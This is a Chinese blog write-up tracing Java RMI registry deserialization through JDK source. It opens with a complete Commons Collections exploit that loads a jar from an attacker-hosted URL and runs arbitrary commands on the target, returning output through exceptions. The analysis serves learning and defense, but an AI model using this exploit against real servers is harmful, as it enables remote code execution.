这篇文章主要用于学习 RMI 的反序列化利用的流程原理,在网上搜了一大堆的 RMI 利用资料,大多仅仅是讲的利用方法,没有找到到底为啥能这么用,即使有些涉及到一些原理的文章,也写得过于高端了....看不大懂,只能自己去跟一根整个利用流程,请各位大佬轻喷....
先抛出 rmi 反序列化的exp
本地:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URLClassLoader;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIexploit {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out.println(
" Usage: java -jar RMIexploit.jar ip port jarfile command");
System.out.println(
" Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");
return;
}
String ip = args[0];
int port = Integer.parseInt(args[1]);
String remotejar = args[2];
String command = args[3];
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "exploit.ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("pwned", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
远程:
package exploit;
import java.io.*;
public class ErrorBaseExec {
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;
while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}
bufin.close();
byte[] content = out.toByteArray();
return content;
}
public static void do_exec(String cmd) throws Exception {
final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();
if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}
}
public static void main(final String[] args) throws Exception {
do_exec("cmd /c dir");
}
}
首先就是,本地的可以直接在本地生成jar包使用,远程的是放在vps上等可以访问到的地方
这个exp其实很简单,仅仅是在 commons-collections 库反序列化exp的基础上,加了一点 rmi 的内容
整个exp只需要关注如下图的内容:
registry 是从远程主机上获取到的一个注册表,然后他将 AnnotationInvocationHandler 的实例生成了一个 Remote 对象,最后在 registry 中绑定了一个新的远程服务( 这里也可以使用 rebind )
然后攻击就成功了,但是注意,这里是客户端去实施攻击的,服务端经过反序列化执行了恶意代码
先看一张图
如上图,攻击方就是 RMI Client,能够猜到,反序列化的是 RMI Server
这里就很奇怪了,明明是 RMI Server 进行的 bind 或者是 rebind 操作,为啥 exp 里作为一个 RMI Client 也可以进行 bind 或者是 rebind ?
在网上搜了搜,都是在 RMI Server 里进行 bind 或是 rebind 的例子
(注:这里说的 Server 意思是指的创建了本机 RMI 注册表的机器)
(PS:或许我该去查查官方文档的 - - )
没找到相关资料,就只能硬怼了
提前放出整个反序列化报错回显的流程:
首先,RMI server 创建、获取 Registry 的方式如下:
这里的 createRegistry 返回的是一个 RegistryImpl,好,先放着
我们再来看下 RMI Client 获取 Registry 的方式如下:
这里返回的是一个 RegistryImpl_Stub
那么我又去看了一下,这两个类的 bind 函数,其流程完全不同
RegistryImpl 如下:
这里的 bindings 是一个 hashtable ,只是将 Remote 对象放进去就完了
RegistryImpl 就不用管了,是创建 rmi 注册表的本机里的操作,我们不可控的,继续跟入 RegistryImpl_Stub 里
RegistryImpl_Stub 如下:
var3 是一个 StreamRemoteCall 对象,其 getOutputStream 返回的是一个 ConnectionOutputStream 对象,那么这里从 var4 的操作来看,不就是开始进行远程通信了嘛.....
注意这里的 opnum 参数 !
我们可以思考一下,这里既然已经开始通信,那么对应的服务端肯定也在开始根据某些规则进行某些行为,这是在 bind 函数中的,那么对应的服务器端也会执行 bind 的操作,服务端待会儿再说,有一个问题就是,在上图中看见的仅仅是将需要 bind 的 Remote 对象发过去了,那服务器怎么知道我是 bind 还是 unbind 的?
这里就退到 newCall 的时候,跟进去看看
在得到 var6 之前,newConnection 函数运行的流程中就已经开始了与服务器的通信
注意到 var3 、 var4 都是直接传进 StreamRemoteCall 的构造函数,继续跟进它的构造函数
最开始是写入了 80 (其实在此之前还有一些信息的发送,但是我们并不用太关心),接着getOutputStream 就是给 this.out 赋值了 ConnectionOutputStream 对象,是可以直接发送数据的,然后它将 var3 、 var4 都提前发了过去,后面才向服务端发送的是需要 bind 的 name 和 Remote 对象
回到 bind 函数中,这时候还剩下 invoke 和 done 函数没跑完
先看看 invoke
var1 就是刚刚 new 出来的 StreamRemoteCall ,跟进去看 executeCall
由于函数体太长,只截取关键部分
这里能看出来是在接受服务端的返回信息,var1 是读取了一个 byte,那么返回值为 1 应该是 success,因为啥也不返回。值为2的时候比较奇怪,反序列化后居然判断是否是一个异常,emmm,看来接受的应该是服务端的异常,default 的情况应该是返回值错误
现在回想 ErrorBaseExec 这个远程利用类里的代码:
都是将结果直接抛出异常的形式带回,那么结合着之前所述,应该在返回值为 2 的时候被接受了,那么跟进 exceptionReceivedFromServer 看看
最后还是将异常抛出了,这个来自服务端的异常最后将会被客户端的 bind 函数打印出来,所以这就理解了远程利用代码里,会直接将命令执行的结果以异常的形式抛出,因为这样就可以获得命令回显....
bind 函数中调用的 done 函数就不展示了,仅仅是清理缓冲区、释放连接啥的
目前仅仅是分析了 payload 从客户端发送到服务端,以及收到了服务端的返回信息
该去看看服务端,是如何接收到客户端的 payload 的,如何进行信息的返回
rmi 服务端的设计更复杂一些,之前一直在反编译jdk7_079的class文件,但是这样很不好跟踪,所以索性直接看 jdk 源码
服务端就必须得从创建 rmi 注册表开始跟了,如下图:
前面讲过,这里返回的是一个 RegistryImpl ,跟进构造函数
var1 代表的是选择的开放端口,接着将 LiveRef 装进 UnicastServerRef 并带入了 setup 函数中,跟进去
将自身(RegistryImpl)传入了 UnicastServerRef 的 exportObject中,跟进去
var5 是一个根据 var4 的类名生成的一个 RemoteStub ,因为传入的 var1 实际上是 RegistryImpl ,那么 var5 就是 RegistryImpl_Stub ,所以上图中的 if 条件是满足的
Skeleton 也是 rmi 中非常重要的一个模块
上图中的 setSkelenton 就是根据 var1 的类名实例化一个 Skeleton,那么生成的就是 RegistryImpl_Skel。 实例化的 Target 中包含了所有重要的事物,包含了新生成的 RegistryImpl,这将是处理 RMI Client 通信请求的具体操作类。函数流程中,接着调用了之前实例化的 LiveRef 中 exportObject 函数
这里的 ep 是一个根据指定开放端口实例化的 TCPEndpoint ,继续跟,期间跟了好几个 exportObject 函数,最终来到了 TCPTransport 类中
看见 listen ,感觉是开始监听端口什么的了,跟进去看看
跑起了 TCPTransport.AcceptLoop 的线程,看看 run
跟进 executeAcceptLoop
如图,服务端接收到连接后,实例化 ConnectionHandler 并跑起线程
看看 ConnectionHandler 的 run
继续跑 run0,跟进去
(函数体太长,只截取关键部分)
跟进 handleMessages 函数
我们只需要关注 80 的时候,因为之前客户端在实例化 StreamRemoteCall 过程中,写入的就是 80
调用了 serviceCall ,并传入了一个新的 StreamRemoteCall ,跟进去看看
这里我们跟着 var1 的流程就好
调用了 UnicastServerRef 的 dispatch 函数,跟进去
盯着 var2 不放,可见之前客户端通信的内容,正在一步步的控制服务端的执行流程
回忆一下,客户端的通信内容如下:
先发过去的是 int 0,然后就是一个 Long
那么对应的,var3 应该为 0,跟入 oldDispatch
var3 、 var4 分别是之前的 int 0 和一个 Long,这里的 skel 就是之前实例化的 RegistryImpl_Skel ,跟进它的 dispatch 函数
var3 == 0,然后直接 var11 就反序列化获取了 name 和 Remote 对象,这里的 case 0 仅仅是 bind 的对应的操作码,那么还有些其他操作对应的操作码,如下:
此处的 var6 变量就是之前 RMI Server 新生成的 RegistryImpl 对象,所以在以上 5 中操作过程中,其实际上都是操作的 RMI Server 的 RegistryImpl
然后因为在 payload 里命令执行完成后,直接抛出的异常并带入命令执行结果,所以在 Proxy 成员 invocationHandler 反序列化的过程中(也就是在 readObject 的过程中),直接抛错了,并带回 RMI 客户端,形成利用报错回显命令执行结果
我们可以继续看看抛出异常后的情况
被 IOException 抓住后,继续抛出 UnmarshalException,跳回 oldDespatch 中
在 oldDespatch 中的异常处理流程如下图:
先获取了 ObjectOuput 然后用 ServerException 包装一下,最后将异常反馈给 RMI Client
第一个红框里, getResultStrem 带入的参数是 false ,跟进去看看
var1 为 false ,进入 else 条件,在传送回 Client 异常前,写回一个 2
这里就和之前在 RMI Client 中分析的吻合了,如果 Client 中得到的是 2 的返回,那么回接受来自 Server 的异常并将其打印
整个流程已经全部梳理完,有啥叙述不清、错误的地方欢迎指出~
参考资料:
http://www.freebuf.com/vuls/126499.html
https://blog.csdn.net/sinat_34596644/article/details/52599688
https://blog.csdn.net/guyuealian/article/details/51992182
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
https://blog.csdn.net/lovejj1994/article/details/78080124